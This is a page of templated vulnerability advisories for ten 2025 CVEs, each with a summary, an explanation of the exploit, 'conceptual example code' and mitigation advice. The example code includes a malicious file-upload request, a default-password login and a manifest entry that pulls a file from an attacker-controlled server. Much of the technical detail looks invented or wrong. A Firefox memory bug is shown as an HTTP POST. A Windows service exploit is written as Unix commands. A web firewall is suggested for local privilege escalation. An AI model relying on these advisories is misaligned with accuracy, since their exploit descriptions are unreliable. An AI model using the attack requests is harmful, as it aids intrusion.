Author: Ameeba

CVE-2025-37123: High Severity Privilege Escalation Vulnerability in HPE Aruba Networking EdgeConnect SD-WAN Gateways
Overview

In the rapidly evolving landscape of cybersecurity, vulnerabilities can serve as potent weapons in the arsenal of malicious actors. One such vulnerability has been identified in the command-line interface of HPE Aruba Networking EdgeConnect SD-WAN Gateways, designated as CVE-2025-37123. This vulnerability, if successfully exploited, could grant an attacker the ability to execute arbitrary system commands with root privileges on the underlying system, potentially leading to system compromise or data leakage.
This vulnerability is particularly critical as it affects a broad range of enterprises using HPE Aruba’s SD-WAN solutions, which are designed to connect geographically dispersed branch locations over wide area networks. The potential for a privilege escalation attack presents a significant risk to data integrity, system stability, and overall network security.

Vulnerability Summary

CVE ID: CVE-2025-37123
Severity: High (8.8 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

HPE Aruba Networking EdgeConnect SD-WAN Gateways | All versions prior to patch release

How the Exploit Works

The vulnerability lies in the command-line interface of HPE Aruba Networking EdgeConnect SD-WAN Gateways. An authenticated remote attacker can exploit this vulnerability by sending specially crafted commands to the system. These commands could allow an attacker to escalate their privileges to root level on the underlying operating system. Once the attacker achieves root level access, they can execute arbitrary system commands, potentially leading to total system compromise or data leakage.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited, represented in pseudocode:
```
# Authenticate with the system
login("attacker_username", "attacker_password")
# Send exploit command
send_command("exploit_code")
# If exploit is successful, escalate to root privileges
escalate_privileges("root")
# Execute arbitrary system commands
execute_command("arbitrary_system_command")
```
It’s important to note that this is a conceptual example and the actual exploit would involve the use of specific commands and exploit code, which varies depending upon the system configuration and vulnerability specifics.
September 24, 2025
CVE-2025-56263: Arbitrary File Upload Vulnerability in by-night sms V1.0
Overview

The cybersecurity world is witnessing a new vulnerability, CVE-2025-56263, that affects the by-night sms V1.0 application. This vulnerability is related to an arbitrary file upload flaw that allows users to upload files of any type and size. It exposes the application to potential system compromise or data leakage, which could have drastic consequences for both the application users and the system administrators. Given the CVSS Severity Score of 8.8, it is a high-risk vulnerability that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-56263
Severity: High (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

by-night sms | V1.0

How the Exploit Works

The exploit works by taking advantage of the /api/sms/upload/headImg endpoint in the by-night sms V1.0 application. This endpoint does not have adequate validation checks in place, which allows users to upload arbitrary files to the server. These files could be scripts, executables, or any other type of file that could potentially harm the system or expose sensitive data. This could be done by an attacker with malicious intent to compromise the system or cause data leakage.

Conceptual Example Code

To understand the vulnerability better, here is a conceptual example of how an attacker might exploit the vulnerability. This example uses a HTTP POST request to upload a malicious file to the server.
```
POST /api/sms/upload/headImg HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_file.sh"
Content-Type: application/x-sh
{ "malicious_payload": "..." }
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```
In this example, the malicious payload within the “malicious_file.sh” could be a script designed to compromise the system or exfiltrate data.

Mitigation and Recommendations

The best course of action to mitigate this vulnerability is to apply the vendor patch. In case the vendor patch is not yet available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can be configured to block or alert on attempts to upload files via the vulnerable endpoint.
In addition, it’s recommended to regularly update all software and systems. Regular security audits and vulnerability assessments can also help identify such vulnerabilities early and reduce the potential impact on the system.
September 24, 2025
CVE-2025-57625: Critical Insecure Folder and File Permissions Vulnerability in CYRISMA Sensor
Overview

CVE-2025-57625 is a serious security vulnerability that affects CYRISMA Sensor for Windows (versions prior to 444). The vulnerability could allow a low-privileged user to escalate their privileges and execute arbitrary code in the context of NT AUTHORITY\SYSTEM. This can lead to significant system compromise or data leakage. Given the pervasiveness of CYRISMA Sensor in many cybersecurity frameworks, this vulnerability’s potential impact is amplified and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-57625
Severity: Critical (8.8 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

CYRISMA Sensor for Windows | Before 444

How the Exploit Works

The exploit takes advantage of insecure folder and file permissions in CYRISMA Sensor for Windows. More specifically, the vulnerability exists because the application allows low-privileged users to replace ‘DataSpotliteAgent.exe’ or any other binaries invoked by the Cyrisma_Agent service when it starts. By replacing these binaries, an attacker can execute arbitrary code with elevated privileges (NT AUTHORITYSYSTEM), leading to potential system compromise or data leakage.

Conceptual Example Code

Given the nature of this vulnerability, the attack would likely be carried out locally on the system, and thus, a specific HTTP request does not apply. However, the below pseudocode provides a conceptual example of how the exploit might be carried out:
```
# Assume the attacker has low-level access to the system
$ cd /path/to/CYRISMA/Agent/Binaries
$ cp /path/to/malicious/binary DataSpotliteAgent.exe
# Next time the Cyrisma_Agent service restarts, it will execute the malicious binary
```
It’s important to note that this is a simplified example. In practice, exploiting this vulnerability would require more detailed knowledge of the CYRISMA Sensor and its operating environment.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor’s patch. For those who cannot immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may serve as temporary mitigation. However, these are not long-term solutions, and users should apply the patch as soon as feasible.
September 24, 2025
CVE-2025-55116: Buffer Overflow Vulnerability Leading to Privilege Escalation
Overview

Cybersecurity threats are continually evolving, and one such threat that has been identified recently is the CVE-2025-55116 vulnerability. This security flaw is a buffer overflow vulnerability found in the Control-M/Agent, which can lead to a local privilege escalation if an attacker gains access to the system running the Agent. This vulnerability is significant as it can potentially compromise the entire system or lead to data leakage. Given the severity of the potential impact, it’s essential to understand the nature of this vulnerability, its effects, and the mitigation measures available.

Vulnerability Summary

CVE ID: CVE-2025-55116
Severity: High (CVSS: 8.8)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Control-M/Agent | 9.0.18 to 9.0.20 and potentially earlier unsupported versions

How the Exploit Works

The vulnerability is caused by a buffer overflow in the Control-M/Agent. A buffer overflow occurs when more data is put into a buffer or holding area than the buffer can handle. This over-run of data can overwrite other data values or even execute malicious commands. In this case, an attacker with access to the system running the Agent can exploit this vulnerability to escalate their privileges within the system, potentially gaining full control over the affected system or leading to data leakage.

Conceptual Example Code

The following is a conceptual representation of how the vulnerability might be exploited. This is not a working example but meant to illustrate the potential exploit.
```
$ ./controlm_agent -buffer_overflow `perl -e 'print "A"x1024'`
```
In this example, the command is running the Control-M/Agent with a buffer_overflow option followed by a string of “A” characters that is longer than what the buffer can handle, potentially leading to a buffer overflow and privilege escalation.

Recommended Mitigation

It is recommended to apply the vendor patch to mitigate this vulnerability. If the patch cannot be applied immediately, a temporary mitigation strategy can be the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploitation of this vulnerability. However, these are not long-term solutions and the vendor patch should be applied as soon as possible to fully secure the system.
September 23, 2025
CVE-2025-55115: Path Traversal Leading to Local Privilege Escalation in Control-M/Agent
Overview

The vulnerability CVE-2025-55115 is a severe security flaw that affects the Control-M/Agent software. As a cybersecurity expert, it’s critical to understand the impact of this vulnerability, how it can be exploited, and the potential consequences of an attack. With a CVSS severity score of 8.8, this vulnerability could lead to serious security breaches, including system compromise or data leakage.
Because the vulnerability affects out-of-support versions of Control-M/Agent, many systems may be at risk. This is particularly a concern for organizations that have not updated their software to the latest versions or are using legacy systems. It is critical for these organizations to understand the risks they face and take appropriate action to mitigate them.

Vulnerability Summary

CVE ID: CVE-2025-55115
Severity: High (8.8 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Control-M/Agent | 9.0.18 to 9.0.20

How the Exploit Works

The vulnerability exists due to improper path traversal in the Control-M/Agent. An attacker with low-level privileges on the system can exploit this flaw to escalate their privileges to a higher level. This is done by manipulating file paths to access restricted directories. If successful, the attacker could gain unauthorized control over the system, leading to potential system compromise or data leakage.

Conceptual Example Code

To visualize how an exploitation might occur, consider the following pseudocode:
```
# Attacker gains low-level access to system
$ login -u lowpriv -p password
# Attacker uses path traversal to access restricted directory
$ cd ../../restricted_directory
# Attacker escalates privileges
$ sudo su - root
```
In this example, the attacker uses their low-level access to traverse the file system to a restricted directory. From there, they escalate their privileges to gain full control over the system.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch, specifically version 9.0.20.100 and above for Control-M/Agent. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these solutions do not completely eliminate the risk and should be used in conjunction with updating the software to a secure version as soon as possible.
September 23, 2025
CVE-2025-10537: Critical Memory Safety Bug in Firefox and Thunderbird
Overview

The cybersecurity landscape is fraught with ever-emerging threats and vulnerabilities. One such vulnerability that has recently been discovered is CVE-2025-10537. This vulnerability affects multiple versions of Firefox and Thunderbird, two of the most widely used open-source web and email client applications, respectively. This vulnerability is of high significance due to the potential for system compromise or data leakage, especially given the global user base of these applications.

Vulnerability Summary

CVE ID: CVE-2025-10537
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Firefox | < 143 Firefox ESR | < 140.3 Thunderbird | < 143 Thunderbird ESR | < 140.3 How the Exploit Works

CVE-2025-10537 is a memory safety bug present in multiple versions of Firefox and Thunderbird. Memory safety bugs occur when software does not correctly implement memory management, leading to unexpected behaviors such as crashes, incorrect computations, or even allowing attackers to execute arbitrary code.
In this case, some of these bugs showed evidence of memory corruption, which typically happens when a program oversteps the boundaries of a buffer, leading to the corruption of valuable data or control information. We presume that with enough effort some of these could have been exploited to run arbitrary code. This means an attacker could potentially take control of the system running these applications or access sensitive data.

Conceptual Example Code

While the exact exploit for CVE-2025-10537 is not known, it would likely involve sending a specially crafted packet of data to the vulnerable application that triggers the memory safety bug. The following is a conceptual example of a malicious HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." }
```
In this example, the ‘A’s represent overflow data that could potentially trigger the memory safety bug. If successful, it could allow the attacker to run arbitrary code on the affected system.

Mitigation Guidance

The most effective mitigation for CVE-2025-10537 is to apply the vendor-supplied patch. This patch should be applied as soon as possible to reduce the window of vulnerability. For systems where immediate patching is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may provide temporary mitigation. However, these are not long-term solutions and can only limit the impact of an exploit, not prevent it.
September 23, 2025
CVE-2025-54391: Critical Vulnerability in Zimbra Collaboration Bypasses Two-Factor Authentication
Overview

The CVE-2025-54391 is a severe vulnerability that specifically affects users of Zimbra Collaboration (ZCS), a popular open-source email platform. This vulnerability allows an attacker to bypass the Two-Factor Authentication (2FA) system, which is a commonly used security measure designed to add an extra layer of protection to user accounts. This vulnerability is particularly alarming because it enables potential unauthorized access to accounts that users believe to be securely protected by 2FA, raising the stakes for potential data leakage or system compromise.

Vulnerability Summary

CVE ID: CVE-2025-54391
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: User
User Interaction: Required
Impact: Unauthorized access to accounts, potential system compromise, and data leakage.

Affected Products

Product | Affected Versions

Zimbra Collaboration | All versions prior to the patched release

How the Exploit Works

The exploit takes advantage of a vulnerability in the EnableTwoFactorAuthRequest SOAP endpoint of ZCS. An attacker with valid user credentials can exploit this vulnerability to configure an additional 2FA method, either through a third-party authenticator app or email-based 2FA, without presenting a valid authentication token or proving access to an already configured 2FA method. This bypasses the 2FA protection, allowing unauthorized access to the account.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample SOAP request to the vulnerable endpoint:
```
POST /service/soap/EnableTwoFactorAuthRequest HTTP/1.1
Host: target.example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:zimbraAccount/EnableTwoFactorAuthRequest"
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<EnableTwoFactorAuthRequest xmlns="urn:zimbraAccount">
<account by="name">target@example.com</account>
<authToken>...</authToken>
<method>...</method>
</EnableTwoFactorAuthRequest>
</soap:Body>
</soap:Envelope>
```
In this example, the attacker would replace the ‘…’ placeholders with malicious payloads to enable an additional 2FA method without providing a valid authentication token.

Mitigation

Users are strongly advised to apply the vendor patch as soon as it becomes available. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation to help protect against potential exploitation of this vulnerability. Please note that these are temporary measures, and the vendor patch should be applied as soon as possible for a complete resolution.
September 23, 2025
CVE-2025-56557: Unprivileged Control Issue in Tuya Smart Life App
Overview

Recently, a critical vulnerability has been found in the Tuya Smart Life App version 5.6.1. This vulnerability, registered as CVE-2025-56557, can potentially allow attackers to gain unprivileged control over Matter devices using the Matter protocol. As a significant number of smart home devices utilize Tuya’s platform for IoT solutions, the impact of this vulnerability is widespread, affecting both individual users and businesses alike. Given the severity of this vulnerability, it is crucial for users and administrators to understand its implications and take appropriate actions to mitigate its potential damage.

Vulnerability Summary

CVE ID: CVE-2025-56557
Severity: Critical (CVSS 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tuya Smart Life App | 5.6.1

How the Exploit Works

The vulnerability lies within the Matter protocol implementation in the Tuya Smart Life App, specifically in how it handles communication requests. An attacker can exploit this vulnerability by sending specially crafted packets to the vulnerable device, which then interprets these packets as legitimate commands. As a result, the attacker can gain unprivileged control over the device, leading to potential system compromise or even data leakage.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability:
```
POST /matter/protocol HTTP/1.1
Host: vulnerable.device.com
Content-Type: application/json
{
"command": "unprivileged_control",
"parameters": {
"device_id": "targetDevice",
"action": "maliciousAction"
}
}
```
In this example, the attacker sends a POST request to the vulnerable device with a malicious command. The device, failing to properly authenticate or validate the command, executes it, providing the attacker with unprivileged control.

Recommended Mitigation Strategies

The most effective way to safeguard against this vulnerability is by applying the vendor-provided patch. In the event that immediate patching is not possible, a temporary mitigation method would be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and identify potential exploitation attempts. This, however, is not a permanent solution and patching should be implemented as soon as feasible.
September 23, 2025
CVE-2025-59334: Manifest Manipulation Vulnerability in Linkr File Delivery System
Overview

The cybersecurity community is addressing a significant vulnerability identified in Linkr, a lightweight file delivery system. This vulnerability, referenced as CVE-2025-59334, poses a serious threat to systems running Linkr versions up to 2.0.0. The vulnerability arises from Linkr’s lack of verification of the integrity or authenticity of .linkr manifest files, making it possible for attackers to modify these files, leading to potential remote code execution.
Given the widespread use of Linkr for file distribution, this vulnerability is a cause for concern for all users, developers, and system administrators. The risk lies in the potential for system compromise and data leakage, which would be disastrous for both businesses and individuals alike.

Vulnerability Summary

CVE ID: CVE-2025-59334
Severity: Critical (9.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Linkr | Up to 2.0.0

How the Exploit Works

The vulnerability lies in Linkr’s lack of verification of .linkr manifest files’ integrity and authenticity before using their contents. An attacker can manipulate a .linkr manifest, for instance, by adding a new entry with a malicious URL. When a user executes the extract command, the client downloads the attacker-supplied file without any form of verification. This allows the attacker to inject arbitrary files, creating a pathway for remote code execution if a downloaded malicious binary or script is later executed.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. In this hypothetical scenario, an attacker modifies a .linkr manifest file by adding a new entry with a malicious URL:
```
PUT /path/to/linkr_manifest.linkr HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"Files": [
{
"Path": "/path/to/legitimate_file",
"URL": "http://legitimate_source.com/file"
},
{
"Path": "/path/to/malicious_file",
"URL": "http://attacker_controlled_server.com/malicious_file"
}
]
}
```
In this example, the attacker has added a malicious file that will be downloaded and potentially executed when the user runs the extract command.

Mitigation and Solutions

The best course of action is to upgrade to Linkr version 2.0.1 or later, which has implemented a manifest integrity check to prevent this type of attack. If upgrading is not immediately feasible, users should only use trusted .linkr manifests and manually verify manifest integrity. Additionally, hosting manifests on trusted servers can provide a layer of protection. Implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can also serve as a temporary mitigation measure.
September 23, 2025
CVE-2025-8077: NeuVector Default Password Vulnerability
Overview

The cybersecurity world is once again under threat due to a severe vulnerability, CVE-2025-8077. This vulnerability has been identified in NeuVector versions up to and including 5.4.5 and pertains to the use of a default password for the built-in `admin` account. If left unchanged after deployment, this vulnerability could potentially lead to system compromise or data leakage. This vulnerability is of particular concern to businesses or industries that rely heavily on NeuVector for their operational needs, as unauthorized access through this vulnerability could have devastating effects on their systems and data.

Vulnerability Summary

CVE ID: CVE-2025-8077
Severity: Critical (9.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NeuVector | Up to and including 5.4.5

How the Exploit Works

The vulnerability CVE-2025-8077 arises from the use of a fixed string as the default password for the built-in `admin` account in NeuVector. If this password is not changed immediately after deployment, any workload within the cluster with network access can use these default credentials to obtain an authentication token. This token can then be used to perform any operation via the NeuVector APIs, thereby potentially compromising the system or causing data leakage.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a simple HTTP request:
```
POST /neuvector/api/v2/auth/login HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "admin",
"password": "defaultpassword"
}
```
In this example, an attacker uses the default `admin` credentials to authenticate against the NeuVector API. Once authenticated, the attacker could potentially perform any operation via the NeuVector APIs, leading to system compromise or data leakage.
To protect against this vulnerability, users are urged to change the default `admin` password immediately after deployment. As a temporary mitigation, a WAF/IDS could be used, or you could apply the vendor patch as soon as it becomes available.
September 23, 2025